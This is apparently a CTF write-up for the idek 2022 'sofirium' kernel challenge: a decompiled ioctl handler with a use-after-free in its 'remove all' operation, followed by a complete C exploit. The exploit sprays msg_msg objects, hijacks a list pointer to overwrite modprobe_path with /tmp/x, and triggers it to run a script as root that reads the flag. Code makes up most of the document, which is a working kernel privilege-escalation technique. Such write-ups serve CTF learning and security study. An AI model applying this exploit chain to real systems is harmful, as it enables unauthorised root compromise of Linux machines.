idek-2022-sofirium

# reverse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
00000000 sofiri_head     struc ; (sizeof=0x7C, mappedto_3)
00000000 unk db 112 dup(?)
00000070 next dq ? ; offset
00000078 total_count dd ?
0000007C sofiri_head ends
0000007C
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 sofiri_list struc ; (sizeof=0x108, mappedto_5)
00000000 next dq ?
00000008 buf db 256 dup(?)
00000108 sofiri_list ends
00000108
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 request struc ; (sizeof=0x104, mappedto_6)
00000000 ; XREF: device_ioctl/r
00000000 idx dd ? ; XREF: device_ioctl+73/r
00000000 ; device_ioctl+96/r ...
00000004 buf db 256 dup(?) ; XREF: device_ioctl+15B/o
00000004 ; device_ioctl+274/o
00000104 request ends
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
void __fastcall device_ioctl(__int64 a1, unsigned int code, request *buf)
{
struct sofiri_list *v3; // r12
__int64 *user_data_ptr; // rsi
unsigned __int64 v7; // rdi
struct sofiri_list *node_ptr_; // r12
int v9; // ebx
char *buf__; // r12
sofiri_head *head_; // rsi
int num; // edx
__int64 v13; // rdi
struct sofiri_list *list_ptr; // rbx
int i; // eax
_QWORD *v16; // rax
__int64 *v17; // r8
int v18; // ebp
int total_count; // er14
struct sofiri_list *node_ptr; // rbx
struct sofiri_list *next_node_ptr; // r13
struct sofiri_list *node; // r12
int is_verbose; // eax
int v24; // ebx
struct sofiri_list *v25; // rax
sofiri_head *v26; // rdx
sofiri_head *v27; // rax
bool v28; // zf
request user_request; // [rsp+Ch] [rbp-134h] BYREF
__int64 v30[6]; // [rsp+110h] [rbp-30h] BYREF

user_data_ptr = (__int64 *)&buf->idx;
v30[0] = __readgsqword(0x28u);
v7 = (unsigned __int64)&user_request;
if ( copy_from_user(&user_request, buf, 0x104LL) )// 4(idx) + 256(buf)
{
v7 = (unsigned __int64)&unk_5F8;
printk(&unk_5F8);
goto LABEL_14;
}
if ( code == 0xCAFEBABE )
{
node = head->next; // 这边是链表指针
is_verbose = verbose;
if ( user_request.idx > 0 )
{
v24 = 0;
do
{
if ( is_verbose )
{
printk(&unk_54C);
is_verbose = verbose;
}
node = (struct sofiri_list *)node->next;
++v24;
}
while ( user_request.idx > v24 );
}
user_data_ptr = (__int64 *)node->buf; // 指针下面的元素
if ( is_verbose )
{
printk(&unk_566);
user_data_ptr = (__int64 *)node->buf;
}
v7 = (unsigned __int64)buf->buf;
if ( copy_to_user(buf->buf, user_data_ptr, 0x100LL) )
{
v7 = (unsigned __int64)&unk_708;
printk(&unk_708);
}
goto LABEL_14;
}
if ( code <= 0xCAFEBABE )
{
if ( code == 0x1337 )
{
if ( verbose )
printk(&unk_618);
v7 = (unsigned __int64)head;
v18 = 0;
total_count = head->total_count; // 应该是链表的总数量
node_ptr = head->next;
kfree(head);
if ( total_count > 0 )
{
while ( 1 )
{
if ( verbose )
{
user_data_ptr = &v3->next;
printk(&unk_640);
}
v7 = (unsigned __int64)node_ptr;
++v18;
next_node_ptr = (struct sofiri_list *)node_ptr->next;
v3 = node_ptr;
kfree(node_ptr); // uaf
if ( total_count == v18 )
break;
node_ptr = next_node_ptr;
}
}
}
else if ( code == 0xBABECAFE ) // edit
{
node_ptr_ = head->next;
if ( user_request.idx > 0 )
{
v9 = 0;
do
{
if ( verbose )
printk(&unk_580);
node_ptr_ = (struct sofiri_list *)node_ptr_->next;
++v9;
}
while ( user_request.idx > v9 );
}
buf__ = node_ptr_->buf;
user_data_ptr = (__int64 *)buf->buf;
v7 = (unsigned __int64)buf__;
if ( copy_from_user(buf__, buf->buf, 0x100LL) )
{
v7 = (unsigned __int64)&unk_728;
printk(&unk_728);
}
else if ( verbose )
{
user_data_ptr = (__int64 *)buf__;
v7 = (unsigned __int64)&unk_598;
printk(&unk_598);
}
}
goto LABEL_14;
}
if ( code != 0xDEADBEEF ) // add
{
LABEL_14:
_x86_return_thunk(v7, user_data_ptr);
return;
}
head_ = head;
if ( head )
goto LABEL_17; // 头结点中有内容就goto过去
v27 = (sofiri_head *)kmem_cache_alloc_trace(kmalloc_caches[7], 0xCC0LL, 0x80LL);
v27->total_count = 0; // 0x78 is total number field
head = v27;
strlcpy(
v27,
" :!J5PPP5J!:\n 75PPPP55PPP57\nJPPPP!:!!JPPPPJ\nPPPPP!^~~7PPPPP\nJPPPP7!!:~PPPPJ\n 75PPP55PPPP57\n :!J5PPP5J!:\n",
112LL);
printk(&unk_52F);
head_ = head;
v28 = verbose == 0;
head->next = 0LL;
if ( v28 )
{
LABEL_17:
num = head_->total_count;
v13 = kmalloc_caches[9];
if ( num ) // 当前链表中有内容
{
list_ptr = head_->next; // head->ptr
if ( num > 1 )
{
for ( i = 1; i != num; ++i )
list_ptr = (struct sofiri_list *)list_ptr->next;
} // 寻找到链表末尾
v16 = (_QWORD *)kmem_cache_alloc_trace(v13, 0xCC0LL, 0x108LL);
v17 = v16 + 1;
*v16 = 0LL;
qmemcpy(v16 + 1, user_request.buf, 0x100uLL);
user_data_ptr = v30;
list_ptr->next = (__int64)v16;
++head->total_count;
}
else // 链表中没内容
{
v25 = (struct sofiri_list *)kmem_cache_alloc_trace(v13, 3264LL, 264LL);
v26 = head;
v17 = (__int64 *)v25->buf; // node->data
v25->next = 0LL;
qmemcpy(v25->buf, user_request.buf, sizeof(v25->buf));
user_data_ptr = v30;
v26->next = v25;
v26->total_count = 1;
}
v7 = (unsigned int)verbose;
if ( verbose )
{
user_data_ptr = v17;
v7 = (unsigned __int64)&unk_534;
printk(&unk_534);
}
goto LABEL_14;
}
device_ioctl_cold();
}

逆出来就很舒服了
在 remove all 中会释放所有的 chunk 并且留下 UAF
申请 chunk 的时候是 0x108 也就 kmalloc-512
可以堆喷 msg

多个 msg 之间是双向链表 正好可以占据这个 node 结构体的 next 位

只要第一个 msg 喷到了 剩下再申请两个 msg 空间尽可能的小 而这里的改操作又固定 0x100 就可以通过堆溢出改到下个 msg 的 next 从而劫持链表指向到 modprobe

cat /proc/sys/kernel/kptr_restrict 为 0 内核基址白给 符号之间偏移固定 改 modprobe_path 即可

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#include "head.h"

#define GET 0xCAFEBABE
#define RMA 0x1337
#define EDI 0xBABECAFE
#define ADD 0xDEADBEEF

typedef uint64_t u64;

#ifdef __KERNEL__

struct sofiri_head {
char unk[0x70];
struct sofiri_list *next;
int total_count;
}

struct sofiri_list {
struct list *next;
char data[256];
}

#endif

typedef struct{
int idx;
char buf[256];
}req;

struct list_head {
struct list_head *next, *prev;
};

struct msg_msg {
struct list_head list;
long m_type;
size_t m_ts; /* message text size */
void *next; /* struct msg_msgseg *next; */
void *security;
/* the actual message follows immediately */
};

typedef struct {
long mtype;
char mtext[1];
} msg;

int fd;

void io_control(int op, char *data){
if( ioctl(fd, op, data) < 0) {
PANIC("ioctl");
}
}
void get(req *r){
OK("get start");
io_control(GET, (char *)r);
OK("get over");
}
void rmall(){
OK("rma start");
req *r;
io_control(RMA, (char *)r);
OK("rma over");
}
void edit(req *r){
OK("edit start");
io_control(EDI, (char *)r);
OK("edit over");
}
void add(req *r){
OK("add start");
io_control(ADD, (char *)r);
OK("add over");
}

void send_msg(int id, void *buf, size_t size, int flags) {
if (msgsnd(id, buf, size, flags) < 0) {
PANIC("Failed to send msg");
}
OK("Send message: 0x%lx", size);
}

u64 init() {
OK("init start");

if((fd = open("/dev/Sofire", O_NONBLOCK)) < 0) {
PANIC("open");
}

char *cmd = "cat /proc/kallsyms | grep startup_64 | head -1 | awk '{print $1}'";
FILE *fp = popen(cmd, "r");
if(fp == NULL) {
PANIC("popen");
}

char temp[0x20];
fread(temp, 0x10, 1, fp);
u64 read_addr = strtoul(temp, NULL, 16);

ACT("\tkernel at base address 0x%lx", read_addr);

OK("init over");
return read_addr;
}

void OvO(req *r, int idx, char *buf){
(*r).idx = idx;
memcpy((*r).buf, buf, 256);
}
#define range(n) for(int i = 0; i < (n); i++)

void get_flag() {
system("echo -e '#!/bin/sh\n"
"/bin/cp /flag.txt /tmp/flag\n"
"/bin/chmod 777 /tmp/flag' > /tmp/x\n");
system("chmod +x /tmp/x");
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");

system("/tmp/dummy");
system("/bin/cat /tmp/flag");
exit(0);
}

void show_buf(char *buf) {
u64 *p = (u64 *)buf;
range(256/8){
ACT("\t idx %2x : 0x%lx", i, *p);
p++;
}
}
int main(void) {
u64 kbase = init();

char buf[256];
req r = {
.idx = 0,
.buf = {0},
};

/* create a msg queue */
int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (qid < 0) {
PANIC("Failed to msgget");
}

#define MSG_TEXT_SZ (0x200 - 48) // 48 is size of msg_msg 0x200 is kmalloc-512

ACT("add some chunks");
memset(buf, 'A', 256);

range(4){
OvO(&r, i, buf);
add(&r);
}

ACT("remove all chunks");
rmall(); /* cause UAF */

ACT("Heap spray start");

/*
sofiri_list size is 0x100 + 0x10 = 273 < kmalloc(512)
512 is 0x200, use pohale we can get the size of msg header is 40
*/

msg *message = calloc(1, 0x200 + 8);
bzero(message, 0x200 + 8);
message->mtype = 1;
memset(message->mtext, 'I', MSG_TEXT_SZ);

for (int i = 0; i < 2; i++) {
send_msg(qid, message, MSG_TEXT_SZ, 0); // idx 2
}

/* dll 0xffff888004856e00 "struct sofiri_list" next 0x5 */
/* memory is dyed with 'OP' to facilitate recognization */
memset(message->mtext, 'O', MSG_TEXT_SZ);
send_msg(qid, message, 0x10, 0); // idx 3
memset(message->mtext, 'P', MSG_TEXT_SZ);
send_msg(qid, message, 0x10 , 0); // idx 4


u64 modprobe_path = 0x1851400 + kbase;

OvO(&r, 3, buf);
get(&r); // 2(MSG_TEXT_SZ) -> 3(10) -> 4(10)
u64 save_buf[256/8];
memcpy(save_buf, r.buf, sizeof(save_buf));
save_buf[0xf] = modprobe_path - 8;
show_buf((char *)save_buf);

// DBG("DEBUG edit");
// OvO(&r, 1, buf);
// edit(&r);

/* write back to list[3] ,hijack list[4]->next = modprobe_path - 8 */
getchar();
OvO(&r, 3, (char *)save_buf);
edit(&r);

// getchar();
bzero(buf, sizeof(buf));
*(uint64_t *)buf = 0x782f706d742f; // /tmp/x

OvO(&r, 5, buf);
edit(&r);
ACT("all seems work");
getchar();
get_flag();

return 0;
}
/*
(remote) gef➤ p *(struct sofiri_head *)0xffff888004871600
$2 = {
unk = " :!J5PPP5J!:\n 75PPPP55PPP57\nJPPPP!:!!JPPPPJ\nPPPPP!^~~7PPPPP\nJPP\200\026\207\004\200\210\377\377PPPJ\n 75PPP55PPPP57\n :!J5PPP5J!:\n\000\000\000\000\000",
next = 0xffff888003613400,
total_count = 0x18
}

dll 0xffff888003613400 "struct sofiri_list" next 0x1c


*/